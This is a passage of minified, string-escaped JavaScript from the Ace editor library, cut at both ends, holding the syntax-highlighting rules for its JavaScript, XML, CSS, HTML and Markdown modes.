ren\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/markdown_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\",\"ace/mode/html_highlight_rules\",\"ace/mode/css_highlight_rules\"],function(e,t,n){\"use strict\";function c(e,t){return{token:\"support.function\",regex:\"^\\\\s*```\"+e+\"\\\\s*$\",push:t+\"start\"}}var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./css_highlight_rules\").CssHighlightRules,l=function(e){return\"(?:[^\"+i.escapeRegExp(e)+\"\\\\\\\\]|\\\\\\\\.)*\"},h=function(){a.call(this),this.$rules.start.unshift({token:\"empty_line\",regex:\"^$\",next:\"allowBlock\"},{token:\"markup.heading.1\",regex:\"^=+(?=\\\\s*$)\"},{token:\"markup.heading.2\",regex:\"^\\\\-+(?=\\\\s*$)\"},{token:function(e){return\"markup.heading.\"+e.length},regex:/^#{1,6}(?=\\s*[^ #]|\\s+#.)/,next:\"header\"},c(\"(?:javascript|js)\",\"jscode-\"),c(\"xml\",\"xmlcode-\"),c(\"html\",\"htmlcode-\"),c(\"css\",\"csscode-\"),{token:\"support.function\",regex:\"^\\\\s*```\\\\s*\\\\S*(?:{.*?\\\\})?\\\\s*$\",next:\"githubblock\"},{token:\"string.blockquote\",regex:\"^\\\\s*>\\\\s*(?:[*+-]|\\\\d+\\\\.)?\\\\s+\",next:\"blockquote\"},{token:\"constant\",regex:\"^ {0,2}(?:(?: ?\\\\* ?){3,}|(?: ?\\\\- ?){3,}|(?: ?\\\\_ ?){3,})\\\\s*$\",next:\"allowBlock\"},{token:\"markup.list\",regex:\"^\\\\s{0,3}(?:[*+-]|\\\\d+\\\\.)\\\\s+\",next:\"listblock-start\"},{include:\"basic\"}),this.addRules({basic:[{token:\"constant.language.escape\",regex:/\\\\[\\\\`*_{}\\[\\]()#+\\-.!]/},{token:\"support.function\",regex:\"(`+)(.*?[^`])(\\\\1)\"},{token:[\"text\",\"constant\",\"text\",\"url\",\"string\",\"text\"],regex:'^([ ]{0,3}\\\\[)([^\\\\]]+)(\\\\]:\\\\s*)([^ ]+)(\\\\s*(?:[\"][^\"]+[\"])?(\\\\s*))$'},{token:[\"text\",\"string\",\"text\",\"constant\",\"text\"],regex:\"(\\\\[)(\"+l(\"]\")+\")(\\\\]s*\\\\[)(\"+l(\"]\")+\")(\\\\])\"},{token:[\"text\",\"string\",\"text\",\"markup.underline\",\"string\",\"text\"],regex:\"(\\\\[)(\"+l(\"]\")+\")(\\\\]\\\\()\"+'((?:[^\\\\)\\\\s\\\\\\\\]|\\\\\\\\.|\\\\s(?=[^\"]))*)'+'(\\\\s*\"'+l('\"')+'\"\\\\s*)?'+\"(\\\\))\"},{token:\"string.strong\",regex:\"([*]{2}|[_]{2}(?=\\\\S))(.*?\\\\S[*_]*)(\\\\1)\"},{token:\"string.emphasis\",regex:\"([*]|[_](?=\\\\S))(.*?\\\\S[*_]*)(\\\\1)\"},{token:[\"text\",\"url\",\"text\"],regex:\"(<)((?:https?|ftp|dict):[^'\\\">\\\\s]+|(?:mailto:)?[-.\\\\w]+\\\\@[-a-z0-9]+(?:\\\\.[-a-z0-9]+)*\\\\.[a-z]+)(>)\"}],allowBlock:[{token:\"support.function\",regex:\"^ {4}.+\",next:\"allowBlock\"},{token:\"empty_line\",regex:\"^$\",next:\"allowBlock\"},{token:\"empty\",regex:\"\",next:\"start\"}],header:[{regex:\"$\",next:\"start\"},{include:\"basic\"},{defaultToken:\"heading\"}],\"listblock-start\":[{token:\"support.variable\",regex:/(?:\\[[ 